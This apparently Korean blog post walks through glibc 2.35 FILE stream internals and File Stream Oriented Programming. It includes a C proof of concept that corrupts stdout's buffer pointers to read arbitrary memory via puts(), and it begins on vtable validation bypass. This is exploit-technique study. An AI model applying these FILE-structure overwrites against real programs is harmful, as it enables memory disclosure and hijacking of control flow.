File Stream Oriented Programming

· omacs's blog


Table of Contents

Introduction #

본 글에서는 Glibc 2.35 버전 [1]을 기준으로, file stream 구현을 알아보고, file stream oriented programming (FSOP)을 통한 임의 주소 읽기와 실행 흐름 조작이 어떻게 동작하는지 살펴보겠다.

Glibc Implementation of Fopen and Gets #

Glibc는 FILE 구조체를 opaque 타입으로 관리하여 그 구현을 외부로부터 숨기고, _IOFILE 구조체와 typedef으로 연결한다 (각각 libio/bits/types/FILE.h, libio/bits/types/struct_FILE.h에서 발췌)[1].

1/* The opaque type of streams.  This is the definition used elsewhere.  */
2typedef struct _IO_FILE FILE;
 1/* The tag name of this struct is _IO_FILE to preserve historic
 2   C++ mangled names for functions taking FILE* arguments.
 3   That name should not be used in new code.  */
 4struct _IO_FILE
 5{
 6    int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
 7
 8    /* The following pointers correspond to the C++ streambuf protocol. */
 9    char *_IO_read_ptr;   /* Current read pointer */
10    char *_IO_read_end;   /* End of get area. */
11    char *_IO_read_base;  /* Start of putback+get area. */
12    char *_IO_write_base; /* Start of put area. */
13    char *_IO_write_ptr;  /* Current put pointer. */
14    char *_IO_write_end;  /* End of put area. */
15    char *_IO_buf_base;   /* Start of reserve area. */
16    char *_IO_buf_end;    /* End of reserve area. */
17
18    /* The following fields are used to support backing up and undo. */
19    char *_IO_save_base; /* Pointer to start of non-current get area. */
20    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
21    char *_IO_save_end; /* Pointer to end of non-current get area. */
22
23    struct _IO_marker *_markers;
24
25    struct _IO_FILE *_chain;
26
27    int _fileno;
28    int _flags2;
29    __off_t _old_offset; /* This used to be _offset but it's too small.  */
30
31    /* 1+column number of pbase(); 0 is unknown. */
32    unsigned short _cur_column;
33    signed char _vtable_offset;
34    char _shortbuf[1];
35
36    _IO_lock_t *_lock;
37#ifdef _IO_USE_OLD_IO_FILE
38};
39
40struct _IO_FILE_complete
41{
42    struct _IO_FILE _file;
43#endif
44    __off64_t _offset;
45    /* Wide character stream stuff.  */
46    struct _IO_codecvt *_codecvt;
47    struct _IO_wide_data *_wide_data;
48    struct _IO_FILE *_freeres_list;
49    void *_freeres_buf;
50    size_t __pad5;
51    int _mode;
52    /* Make sure we don't get into trouble again.  */
53    char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
54};

이때 Glibc는 위 구조체를 확장한 _IOFILEplus를 사용하여 파일 연산을 처리한다 (libio/libioP.h에서 발췌)[1].

 1#define JUMP_FIELD(TYPE, NAME) TYPE NAME
 2
 3/* ... */
 4
 5struct _IO_jump_t
 6{
 7    JUMP_FIELD(size_t, __dummy);
 8    JUMP_FIELD(size_t, __dummy2);
 9    JUMP_FIELD(_IO_finish_t, __finish);
10    JUMP_FIELD(_IO_overflow_t, __overflow);
11    JUMP_FIELD(_IO_underflow_t, __underflow);
12    JUMP_FIELD(_IO_underflow_t, __uflow);
13    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
14    /* showmany */
15    JUMP_FIELD(_IO_xsputn_t, __xsputn);
16    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
17    JUMP_FIELD(_IO_seekoff_t, __seekoff);
18    JUMP_FIELD(_IO_seekpos_t, __seekpos);
19    JUMP_FIELD(_IO_setbuf_t, __setbuf);
20    JUMP_FIELD(_IO_sync_t, __sync);
21    JUMP_FIELD(_IO_doallocate_t, __doallocate);
22    JUMP_FIELD(_IO_read_t, __read);
23    JUMP_FIELD(_IO_write_t, __write);
24    JUMP_FIELD(_IO_seek_t, __seek);
25    JUMP_FIELD(_IO_close_t, __close);
26    JUMP_FIELD(_IO_stat_t, __stat);
27    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
28    JUMP_FIELD(_IO_imbue_t, __imbue);
29};
30
31/* We always allocate an extra word following an _IO_FILE.
32   This contains a pointer to the function jump table used.
33   This is for compatibility with C++ streambuf; the word can
34   be used to smash to a pointer to a virtual function table. */
35
36struct _IO_FILE_plus
37{
38    FILE file;
39    const struct _IO_jump_t *vtable;
40};

Fopen function #

그럼 fopen 함수 구현을 통해 Glibc가 위 구조체로 어떻게 파일을 여는지 알아보자. 먼저 fopen()은 아래와 같은 콜 트레이스를 거친다.

 1fopen() /* macro function */
 2_IO_new_fopen()
 3_fopen_internal()
 4  |
 5  |
 6  +--------------+-----------------------------+-----------------+
 7  |1             |2                            |3                |
 8  V              V                             V                 |
 9_IO_no_init()  _IO_new_file_init_internal()  _IO_file_fopen()    |
10                                                                 |
11                                               +-----------------+
12                                               |4
13                                               V
14                                             _fopen_maybe_mmap()

이때 실질적인 시작점은 _fopeninternal 함수이고, 그 코드는 다음과 같다 (libio/iofopen.c에서 발췌)[1].

 1FILE *
 2__fopen_internal (const char *filename, const char *mode, int is32)
 3{
 4    struct locked_FILE
 5    {
 6        struct _IO_FILE_plus fp;
 7#ifdef _IO_MTSAFE_IO
 8        _IO_lock_t lock;
 9#endif
10        struct _IO_wide_data wd;
11    } *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
12
13    if (new_f == NULL)
14        return NULL;
15#ifdef _IO_MTSAFE_IO
16    new_f->fp.file._lock = &new_f->lock;
17#endif
18    _IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
19    _IO_JUMPS (&new_f->fp) = &_IO_file_jumps; /* #define _IO_JUMPS(THIS) (THIS)->vtable */
20    _IO_new_file_init_internal (&new_f->fp);
21    if (_IO_file_fopen ((FILE *) new_f, filename, mode, is32) != NULL)
22        return __fopen_maybe_mmap (&new_f->fp.file);
23
24    _IO_un_link (&new_f->fp);
25    free (new_f);
26    return NULL;
27}

위 코드에서 _IOnoinit()은 파일의 플래그와 버퍼를 초기화한다 (libio/genops.c에서 발췌)[2].

 1void
 2_IO_old_init (FILE *fp, int flags)
 3{
 4    fp->_flags = _IO_MAGIC|flags;
 5    fp->_flags2 = 0;
 6    if (stdio_needs_locking)
 7        fp->_flags2 |= _IO_FLAGS2_NEED_LOCK;
 8    fp->_IO_buf_base = NULL;
 9    fp->_IO_buf_end = NULL;
10    fp->_IO_read_base = NULL;
11    fp->_IO_read_ptr = NULL;
12    fp->_IO_read_end = NULL;
13    fp->_IO_write_base = NULL;
14    fp->_IO_write_ptr = NULL;
15    fp->_IO_write_end = NULL;
16    fp->_chain = NULL; /* Not necessary. */
17
18    fp->_IO_save_base = NULL;
19    fp->_IO_backup_base = NULL;
20    fp->_IO_save_end = NULL;
21    fp->_markers = NULL;
22    fp->_cur_column = 0;
23#if _IO_JUMPS_OFFSET
24    fp->_vtable_offset = 0;
25#endif
26#ifdef _IO_MTSAFE_IO
27    if (fp->_lock != NULL)
28        _IO_lock_init (*fp->_lock);
29#endif
30}
31
32void
33_IO_no_init (FILE *fp, int flags, int orientation,
34             struct _IO_wide_data *wd, const struct _IO_jump_t *jmp)
35{
36    _IO_old_init (fp, flags);
37    fp->_mode = orientation;
38    if (orientation >= 0)
39    {
40        fp->_wide_data = wd;
41        fp->_wide_data->_IO_buf_base = NULL;
42        fp->_wide_data->_IO_buf_end = NULL;
43        fp->_wide_data->_IO_read_base = NULL;
44        fp->_wide_data->_IO_read_ptr = NULL;
45        fp->_wide_data->_IO_read_end = NULL;
46        fp->_wide_data->_IO_write_base = NULL;
47        fp->_wide_data->_IO_write_ptr = NULL;
48        fp->_wide_data->_IO_write_end = NULL;
49        fp->_wide_data->_IO_save_base = NULL;
50        fp->_wide_data->_IO_backup_base = NULL;
51        fp->_wide_data->_IO_save_end = NULL;
52
53        fp->_wide_data->_wide_vtable = jmp;
54    }
55    else
56        /* Cause predictable crash when a wide function is called on a byte
57           stream.  */
58        fp->_wide_data = (struct _IO_wide_data *) -1L;
59    fp->_freeres_list = NULL;
60}

그리고 _IOnewfileinitinternal()은 파일을 파일 체인에 추가한다 (libio/fileops.c에서 발췌)[1].

 1void
 2_IO_new_file_init_internal (struct _IO_FILE_plus *fp)
 3{
 4    /* POSIX.1 allows another file handle to be used to change the position
 5       of our file descriptor.  Hence we actually don't know the actual
 6       position before we do the first fseek (and until a following fflush). */
 7    fp->file._offset = _IO_pos_BAD;
 8    fp->file._flags |= CLOSED_FILEBUF_FLAGS;
 9
10    _IO_link_in (fp);
11    fp->file._fileno = -1;
12}

이제 _IOfilefopen()에 연결된 _IOnewfilefopen()이 사용자가 요청한 모드를 해석한다. 그리고 _IOfileopen()이 open 시스템 콜을 호출하여 파일을 연다. 리눅스는 open 시스템 콜이 파일 기술자 (file descriptor)를 반환하며, Glibc는 파일 구조체에 _fileno 멤버 변수를 두어 이를 저장한다 (libio/fileops.c에서 발췌)[2].

  1FILE *
  2_IO_file_open (FILE *fp, const char *filename, int posix_mode, int prot,
  3               int read_write, int is32not64)
  4{
  5    int fdesc;
  6    if (__glibc_unlikely (fp->_flags2 & _IO_FLAGS2_NOTCANCEL))
  7        fdesc = __open_nocancel (filename,
  8                                 posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
  9    else
 10        fdesc = __open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
 11    if (fdesc < 0)
 12        return NULL;
 13    fp->_fileno = fdesc;
 14    _IO_mask_flags (fp, read_write,_IO_NO_READS+_IO_NO_WRITES+_IO_IS_APPENDING);
 15    /* For append mode, send the file offset to the end of the file.  Don't
 16       update the offset cache though, since the file handle is not active.  */
 17    if ((read_write & (_IO_IS_APPENDING | _IO_NO_READS))
 18        == (_IO_IS_APPENDING | _IO_NO_READS))
 19    {
 20        off64_t new_pos = _IO_SYSSEEK (fp, 0, _IO_seek_end);
 21        if (new_pos == _IO_pos_BAD && errno != ESPIPE)
 22        {
 23            __close_nocancel (fdesc);
 24            return NULL;
 25        }
 26    }
 27    _IO_link_in ((struct _IO_FILE_plus *) fp);
 28    return fp;
 29}
 30libc_hidden_def (_IO_file_open)
 31
 32FILE *
 33_IO_new_file_fopen (FILE *fp, const char *filename, const char *mode,
 34                    int is32not64)
 35{
 36    int oflags = 0, omode;
 37    int read_write;
 38    int oprot = 0666;
 39    int i;
 40    FILE *result;
 41    const char *cs;
 42    const char *last_recognized;
 43
 44    if (_IO_file_is_open (fp))
 45        return 0;
 46    switch (*mode)
 47    {
 48    case 'r':
 49        omode = O_RDONLY;
 50        read_write = _IO_NO_WRITES;
 51        break;
 52    case 'w':
 53        omode = O_WRONLY;
 54        oflags = O_CREAT|O_TRUNC;
 55        read_write = _IO_NO_READS;
 56        break;
 57    case 'a':
 58        omode = O_WRONLY;
 59        oflags = O_CREAT|O_APPEND;
 60        read_write = _IO_NO_READS|_IO_IS_APPENDING;
 61        break;
 62    default:
 63        __set_errno (EINVAL);
 64        return NULL;
 65    }
 66    last_recognized = mode;
 67    for (i = 1; i < 7; ++i)
 68    {
 69        switch (*++mode)
 70        {
 71        case '\0':
 72            break;
 73        case '+':
 74            omode = O_RDWR;
 75            read_write &= _IO_IS_APPENDING;
 76            last_recognized = mode;
 77            continue;
 78        case 'x':
 79            oflags |= O_EXCL;
 80            last_recognized = mode;
 81            continue;
 82        case 'b':
 83            last_recognized = mode;
 84            continue;
 85        case 'm':
 86            fp->_flags2 |= _IO_FLAGS2_MMAP;
 87            continue;
 88        case 'c':
 89            fp->_flags2 |= _IO_FLAGS2_NOTCANCEL;
 90            continue;
 91        case 'e':
 92            oflags |= O_CLOEXEC;
 93            fp->_flags2 |= _IO_FLAGS2_CLOEXEC;
 94            continue;
 95        default:
 96            /* Ignore.  */
 97            continue;
 98        }
 99        break;
100    }
101
102    result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write,
103                            is32not64);
104
105    if (result != NULL)
106    {
107        /* ... */
108    }
109
110    return result;
111}

여기까지 파일 버퍼와 파일 기술자를 초기화하는 과정을 다루었다. 이때 vtable 멤버는 &_IOfilejumps로 초기화하며, 다음과 같이 정의한다 (libio/fileops.c에서 발췌)[1].

 1/* #define libio_vtable __attribute__ ((section ("__libc_IO_vtables")))
 2 */
 3const struct _IO_jump_t _IO_file_jumps libio_vtable =
 4{
 5    /* #define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0) */
 6    /* #define JUMP_INIT(NAME, VALUE) VALUE */
 7    JUMP_INIT_DUMMY,
 8    JUMP_INIT(finish, _IO_file_finish),
 9    JUMP_INIT(overflow, _IO_file_overflow),
10    JUMP_INIT(underflow, _IO_file_underflow),
11    JUMP_INIT(uflow, _IO_default_uflow),
12    JUMP_INIT(pbackfail, _IO_default_pbackfail),
13    JUMP_INIT(xsputn, _IO_file_xsputn),
14    JUMP_INIT(xsgetn, _IO_file_xsgetn),
15    JUMP_INIT(seekoff, _IO_new_file_seekoff),
16    JUMP_INIT(seekpos, _IO_default_seekpos),
17    JUMP_INIT(setbuf, _IO_new_file_setbuf),
18    JUMP_INIT(sync, _IO_new_file_sync),
19    JUMP_INIT(doallocate, _IO_file_doallocate),
20    JUMP_INIT(read, _IO_file_read),
21    JUMP_INIT(write, _IO_new_file_write),
22    JUMP_INIT(seek, _IO_file_seek),
23    JUMP_INIT(close, _IO_file_close),
24    JUMP_INIT(stat, _IO_file_stat),
25    JUMP_INIT(showmanyc, _IO_default_showmanyc),
26    JUMP_INIT(imbue, _IO_default_imbue)
27};

그럼 파일 플래그와 버퍼, 열린 파일, 그리고 vtable까지 적절히 초기화하였으므로 mmap 여부를 확인하고 FILE 포인터를 반환한다 (libio/iofopen.c에서 발췌)[1].

 1FILE *
 2__fopen_maybe_mmap (FILE *fp)
 3{
 4#if _G_HAVE_MMAP
 5    if ((fp->_flags2 & _IO_FLAGS2_MMAP) && (fp->_flags & _IO_NO_WRITES))
 6    {
 7        /* Since this is read-only, we might be able to mmap the contents
 8           directly.  We delay the decision until the first read attempt by
 9           giving it a jump table containing functions that choose mmap or
10           vanilla file operations and reset the jump table accordingly.  */
11
12        if (fp->_mode <= 0)
13            _IO_JUMPS_FILE_plus (fp) = &_IO_file_jumps_maybe_mmap;
14        else
15            _IO_JUMPS_FILE_plus (fp) = &_IO_wfile_jumps_maybe_mmap;
16        fp->_wide_data->_wide_vtable = &_IO_wfile_jumps_maybe_mmap;
17    }
18#endif
19    return fp;
20}

Gets function #

Glibc gets 함수는 stdin에서 사용자 입력을 읽는다. 그리고 이 작업을 아래 콜 트레이스를 거쳐 진행한다.

 1gets()
 2__gets_chk()
 3_IO_getline()
 4_IO_getline_info()
 5__uflow()
 6_IO_UFLOW() /* macro function */
 7_IO_default_uflow()
 8_IO_UNDERFLOW() /* macro function */
 9_IO_file_underflow()
10_IO_new_file_underflow()
11|
12|
13+---------------------------------+
14|1                                |
15|if (fp->_IO_buf_base == NULL)    |
16V                                 V
17_IO_doallocbuf()                  _IO_SYSREAD()

위 콜 트레이스에서 실질적인 작업은 _IOgetlineinfo()부터 시작된다. 비록 이 함수의 파라미터 중에 size가 있지만, 이 파라미터는 fortification 기능을 활성화하지 않는다면 신경쓰지 않아도 된다. 그리고 이 기능은 기본값으로 비활성화되어 있다. 다시 _IOgetlineinfo()로 돌아가서, 이 함수는 구분자에 도달할 때까지 파일 버퍼로부터 데이터를 읽어들여서 사용자 버퍼에 넣는다. 만약 (파일 버퍼의 끝에 도달 등의 이유로) 읽을 데이터가 없다면, __uflow()를 호출한다. 그 코드는 다음과 같다 (libio/iogetline.c에서 발췌)[1].

 1/* Algorithm based on that used by Berkeley pre-4.4 fgets implementation.
 2
 3   Read chars into buf (of size n), until delim is seen.
 4   Return number of chars read (at most n).
 5   Does not put a terminating '\0' in buf.
 6   If extract_delim < 0, leave delimiter unread.
 7   If extract_delim > 0, insert delim in output. */
 8
 9size_t
10_IO_getline_info (FILE *fp, char *buf, size_t n, int delim,
11                  int extract_delim, int *eof)
12{
13    char *ptr = buf;
14    if (eof != NULL)
15        *eof = 0;
16    if (__builtin_expect (fp->_mode, -1) == 0)
17        _IO_fwide (fp, -1);
18    while (n != 0)
19    {
20        ssize_t len = fp->_IO_read_end - fp->_IO_read_ptr;
21        if (len <= 0)
22        {
23            int c = __uflow (fp);
24            if (c == EOF)
25            {
26                if (eof)
27                    *eof = c;
28                break;
29            }
30            if (c == delim)
31            {
32                if (extract_delim > 0)
33                     *ptr++ = c;
34                else if (extract_delim < 0)
35                    _IO_sputbackc (fp, c);
36                if (extract_delim > 0)
37                    ++len;
38                return ptr - buf;
39            }
40            *ptr++ = c;
41            n--;
42        }
43        else
44        {
45            char *t;
46            if ((size_t) len >= n)
47                len = n;
48            t = (char *) memchr ((void *) fp->_IO_read_ptr, delim, len);
49            if (t != NULL)
50            {
51                size_t old_len = ptr-buf;
52                len = t - fp->_IO_read_ptr;
53                if (extract_delim >= 0)
54                {
55                    ++t;
56                    if (extract_delim > 0)
57                        ++len;
58                }
59                memcpy ((void *) ptr, (void *) fp->_IO_read_ptr, len);
60                fp->_IO_read_ptr = t;
61                return old_len + len;
62            }
63            memcpy ((void *) ptr, (void *) fp->_IO_read_ptr, len);
64            fp->_IO_read_ptr += len;
65            ptr += len;
66            n -= len;
67        }
68    }
69    return ptr - buf;
70}

그 다음 작업은 _IOnewfileunderflow()에서 이루어진다. 이 함수는 파일 버퍼가 없는 경우에는 _IOdoallocbuf()를 호출해서 할당받고, 이미 있는 경우에는 파일 버퍼에서 읽어들일 위치를 다시 시작점으로 돌린다. 그리고 _IOSYSREAD()를 호출하여 파일 버퍼를 채운다. 그 코드는 다음과 같다 (libio/fileops.c에서 발췌)[1].

 1int
 2_IO_new_file_underflow (FILE *fp)
 3{
 4    ssize_t count;
 5
 6    /* C99 requires EOF to be "sticky".  */
 7    if (fp->_flags & _IO_EOF_SEEN)
 8        return EOF;
 9
10    if (fp->_flags & _IO_NO_READS)
11    {
12        fp->_flags |= _IO_ERR_SEEN;
13        __set_errno (EBADF);
14        return EOF;
15    }
16    if (fp->_IO_read_ptr < fp->_IO_read_end)
17        return *(unsigned char *) fp->_IO_read_ptr;
18
19    if (fp->_IO_buf_base == NULL)
20    {
21        /* Maybe we already have a push back pointer.  */
22        if (fp->_IO_save_base != NULL)
23        {
24            free (fp->_IO_save_base);
25            fp->_flags &= ~_IO_IN_BACKUP;
26        }
27        _IO_doallocbuf (fp);
28    }
29
30    /* FIXME This can/should be moved to genops ?? */
31    if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
32    {
33        /* We used to flush all line-buffered stream.  This really isn't
34           required by any standard.  My recollection is that
35           traditional Unix systems did this for stdout.  stderr better
36           not be line buffered.  So we do just that here
37           explicitly.  --drepper */
38        _IO_acquire_lock (stdout);
39
40        if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
41            == (_IO_LINKED | _IO_LINE_BUF))
42            _IO_OVERFLOW (stdout, EOF);
43
44        _IO_release_lock (stdout);
45    }
46
47    _IO_switch_to_get_mode (fp);
48
49    /* This is very tricky. We have to adjust those
50       pointers before we call _IO_SYSREAD () since
51       we may longjump () out while waiting for
52       input. Those pointers may be screwed up. H.J. */
53    fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
54    fp->_IO_read_end = fp->_IO_buf_base;
55    fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
56        = fp->_IO_buf_base;
57
58    count = _IO_SYSREAD (fp, fp->_IO_buf_base,
59                         fp->_IO_buf_end - fp->_IO_buf_base);
60    if (count <= 0)
61    {
62        if (count == 0)
63            fp->_flags |= _IO_EOF_SEEN;
64        else
65            fp->_flags |= _IO_ERR_SEEN, count = 0;
66    }
67    fp->_IO_read_end += count;
68    if (count == 0)
69    {
70        /* If a stream is read to EOF, the calling application may switch active
71           handles.  As a result, our offset cache would no longer be valid, so
72           unset it.  */
73        fp->_offset = _IO_pos_BAD;
74        return EOF;
75    }
76    if (fp->_offset != _IO_pos_BAD)
77        _IO_pos_adjust (fp->_offset, count);
78    return *(unsigned char *) fp->_IO_read_ptr;
79}

Arbitrary Address Read Using Stdout #

Puts 함수가 write 시스템 콜을 쓸 때는 다음과 같은 콜 트레이스를 거친다.

 1puts()
 2_IO_puts()
 3_IO_sputn() /* macro function */
 4_IO_file_xsputn()
 5_IO_new_file_xsputn()
 6_IO_OVERFLOW() /* macro function */
 7_IO_file_overflow()
 8_IO_new_file_overflow()
 9_IO_do_write()
10_IO_new_do_write()
11new_do_write()
12_IO_SYSWRITE() /* macro function */
13_IO_new_file_write()
14__write()

위 콜 트레이스를 따라가려면 FILE 구조체의 멤버들이 특정 조건식을 만족해야 한다. 이때 관심을 가져야 하는 함수는 _IOnewfilexsputn() ({1, 2}), _IOnewfileoverflow() ({3}), new_dowrite() ({4})이다. 이들의 구현은 다음과 같다 (libio/fileops.c에서 발췌)[1].

 1size_t
 2_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
 3{
 4    const char *s = (const char *) data;
 5    size_t to_do = n;
 6    int must_flush = 0;
 7    size_t count = 0;
 8
 9    if (n <= 0)
10        return 0;
11    /* This is an optimized implementation.
12       If the amount to be written straddles a block boundary
13       (or the filebuf is unbuffered), use sys_write directly. */
14
15    /* First figure out how much space is available in the buffer. */
16    if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) /* {1} */
17    {
18        count = f->_IO_buf_end - f->_IO_write_ptr;
19        if (count >= n)
20        {
21            const char *p;
22            for (p = s + n; p > s; )
23            {
24                if (*--p == '\n')
25                {
26                    count = p - s + 1;
27                    must_flush = 1;
28                    break;
29                }
30            }
31        }
32    }
33    else if (f->_IO_write_end > f->_IO_write_ptr)  /* {2} */
34        count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
35
36    /* Then fill the buffer. */
37    if (count > 0)
38    {
39        if (count > to_do)
40            count = to_do;
41        f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
42        s += count;
43        to_do -= count;
44    }
45    if (to_do + must_flush > 0)
46    {
47        size_t block_size, do_write;
48        /* Next flush the (full) buffer. */
49        if (_IO_OVERFLOW (f, EOF) == EOF)
50            /* If nothing else has to be written we must not signal the
51               caller that everything has been written.  */
52            return to_do == 0 ? EOF : n - to_do;
53
54        /* Try to maintain alignment: write a whole number of blocks.  */
55        block_size = f->_IO_buf_end - f->_IO_buf_base;
56        do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
57
58        if (do_write)
59        {
60            count = new_do_write (f, s, do_write);
61            to_do -= count;
62            if (count < do_write)
63                return n - to_do;
64        }
65
66        /* Now write out the remainder.  Normally, this will fit in the
67           buffer, but it's somewhat messier for line-buffered files,
68           so we let _IO_default_xsputn handle the general case. */
69        if (to_do)
70            to_do -= _IO_default_xsputn (f, s+do_write, to_do);
71    }
72    return n - to_do;
73}
 1int
 2_IO_new_file_overflow (FILE *f, int ch)
 3{
 4    if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
 5    {
 6        f->_flags |= _IO_ERR_SEEN;
 7        __set_errno (EBADF);
 8        return EOF;
 9    }
10    /* If currently reading or no buffer allocated. */
11    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) /* {3} */
12    {
13        /* Allocate a buffer if needed. */
14        if (f->_IO_write_base == NULL)
15        {
16            _IO_doallocbuf (f);
17            _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
18        }
19        /* Otherwise must be currently reading.
20           If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
21           logically slide the buffer forwards one block (by setting the
22           read pointers to all point at the beginning of the block).  This
23           makes room for subsequent output.
24           Otherwise, set the read pointers to _IO_read_end (leaving that
25           alone, so it can continue to correspond to the external position). */
26        if (__glibc_unlikely (_IO_in_backup (f)))
27        {
28            size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
29            _IO_free_backup_area (f);
30            f->_IO_read_base -= MIN (nbackup,
31                                     f->_IO_read_base - f->_IO_buf_base);
32            f->_IO_read_ptr = f->_IO_read_base;
33        }
34
35        if (f->_IO_read_ptr == f->_IO_buf_end)
36            f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
37        f->_IO_write_ptr = f->_IO_read_ptr;
38        f->_IO_write_base = f->_IO_write_ptr;
39        f->_IO_write_end = f->_IO_buf_end;
40        f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
41
42        f->_flags |= _IO_CURRENTLY_PUTTING;
43        if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
44            f->_IO_write_end = f->_IO_write_ptr;
45    }
46    if (ch == EOF)
47        return _IO_do_write (f, f->_IO_write_base,
48                             f->_IO_write_ptr - f->_IO_write_base);
49    if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
50        if (_IO_do_flush (f) == EOF)
51            return EOF;
52    *f->_IO_write_ptr++ = ch;
53    if ((f->_flags & _IO_UNBUFFERED)
54        || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
55        if (_IO_do_write (f, f->_IO_write_base,
56                          f->_IO_write_ptr - f->_IO_write_base) == EOF)
57            return EOF;
58    return (unsigned char) ch;
59}
 1static size_t
 2new_do_write (FILE *fp, const char *data, size_t to_do)
 3{
 4    size_t count;
 5    if (fp->_flags & _IO_IS_APPENDING)
 6        /* On a system without a proper O_APPEND implementation,
 7           you would need to sys_seek(0, SEEK_END) here, but is
 8           not needed nor desirable for Unix- or Posix-like systems.
 9           Instead, just indicate that offset (before and after) is
10           unpredictable. */
11        fp->_offset = _IO_pos_BAD;
12    else if (fp->_IO_read_end != fp->_IO_write_base) /* {4} */
13    {
14        off64_t new_pos
15            = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
16        if (new_pos == _IO_pos_BAD)
17            return 0;
18        fp->_offset = new_pos;
19    }
20    count = _IO_SYSWRITE (fp, data, to_do);
21    if (fp->_cur_column && count)
22        fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
23    _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
24    fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
25    fp->_IO_write_end = (fp->_mode <= 0
26                         && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
27                         ? fp->_IO_buf_base : fp->_IO_buf_end);
28    return count;
29}

이 조건식들을 거쳐 write 시스템 콜이 호출되도록 하면 다음과 같이 임의 주소 읽기가 가능하도록 만들 수 있다.

 1#include <stdio.h>
 2
 3enum fp_flags {
 4    _IO_UNBUFFERED = 0x0002,
 5    _IO_NO_WRITES = 0x0008,
 6    _IO_LINE_BUF = 0x0200,
 7    _IO_CURRENTLY_PUTTING = 0x0800,
 8};
 9
10void fsop_aar(void *p, size_t size)
11{
12    FILE *fp;
13    char *buf = "Hello, world!!";
14
15    fp = stdout;
16    fp->_flags &= ~_IO_LINE_BUF; /* _IO_new_file_xsputn: 1210 */
17
18    /*
19     * _IO_new_file_xsputn: 1210,
20     * _IO_new_file_overflow: 739
21     */
22    fp->_flags |= _IO_CURRENTLY_PUTTING;
23
24    fp->_flags &= ~_IO_NO_WRITES;
25    /* fp->_flags = 0xfbad0800; */
26    fp->_IO_read_ptr = NULL;
27
28    /* new_do_write: 440 */
29    fp->_IO_write_base = p;
30    fp->_IO_read_end = fp->_IO_write_base;
31
32    fp->_IO_read_base = NULL;
33
34    /* _IO_new_file_xsputn: 1227 */
35    fp->_IO_write_ptr = (uint8_t *) fp->_IO_write_base + size;
36
37    fp->_IO_write_end = fp->_IO_buf_base = fp->_IO_buf_end = NULL;
38    fp->_IO_save_base = NULL;
39
40    puts(buf);
41}
42
43int main()
44{
45    fsop_aar(stdout, 0x84);
46    return 0;
47}

위 코드를 컴파일하고 실행하면 다음을 얻는다.

 1$ stdbuf -oL ./fsop | xxd
 200000000: 8428 adfb 0000 0000 0000 0000 0000 0000  .(..............
 300000010: 80b7 0187 fc73 0000 0000 0000 0000 0000  .....s..........
 400000020: 80b7 0187 fc73 0000 04b8 0187 fc73 0000  .....s.......s..
 500000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
 600000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
 700000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
 800000060: 0000 0000 0000 0000 a0aa 0187 fc73 0000  .............s..
 900000070: 0100 0000 0000 0000 ffff ffff ffff ffff  ................
1000000080: 0000 0000 4865 6c6c 6f2c 2077 6f72 6c64  ....Hello, world
1100000090: 2121 0a                                  !!.
12$

File Stream Vtable Validation Bypass #

상기에 puts 함수는 다음과 같은 콜 트레이스를 거쳤다.

 1puts()
 2_IO_puts()
 3_IO_sputn() /* macro function */
 4_IO_file_xsputn()
 5_IO_new_file_xsputn()
 6_IO_OVERFLOW() /* macro function */
 7_IO_file_overflow()
 8_IO_new_file_overflow()
 9_IO_do_write()
10_IO_new_do_write()
11new_do_write()
12_IO_SYSWRITE() /* macro function */
13_IO_new_file_write()
14__write()

그리고 _IOnewfilexsputn()을 호출할 때는 vtable 멤버를 참조하여 호출한다. 이때, 만약 vtable 멤버를 덮어쓸 수 있다면, 실행 흐름을 바꿔버릴 수 있을 것이다. 하지만 glibc는 다음과 같은 콜 트레이스를 거쳐서 IO_validatevtable()을 호출한다.

1_IO_sputn() /* macro function */
2_IO_XSPUTN() /* macro function */
3JUMP2() /* macro function */
4_IO_JUMPS_FUNC() /* macro function */
5IO_validate_vtable()

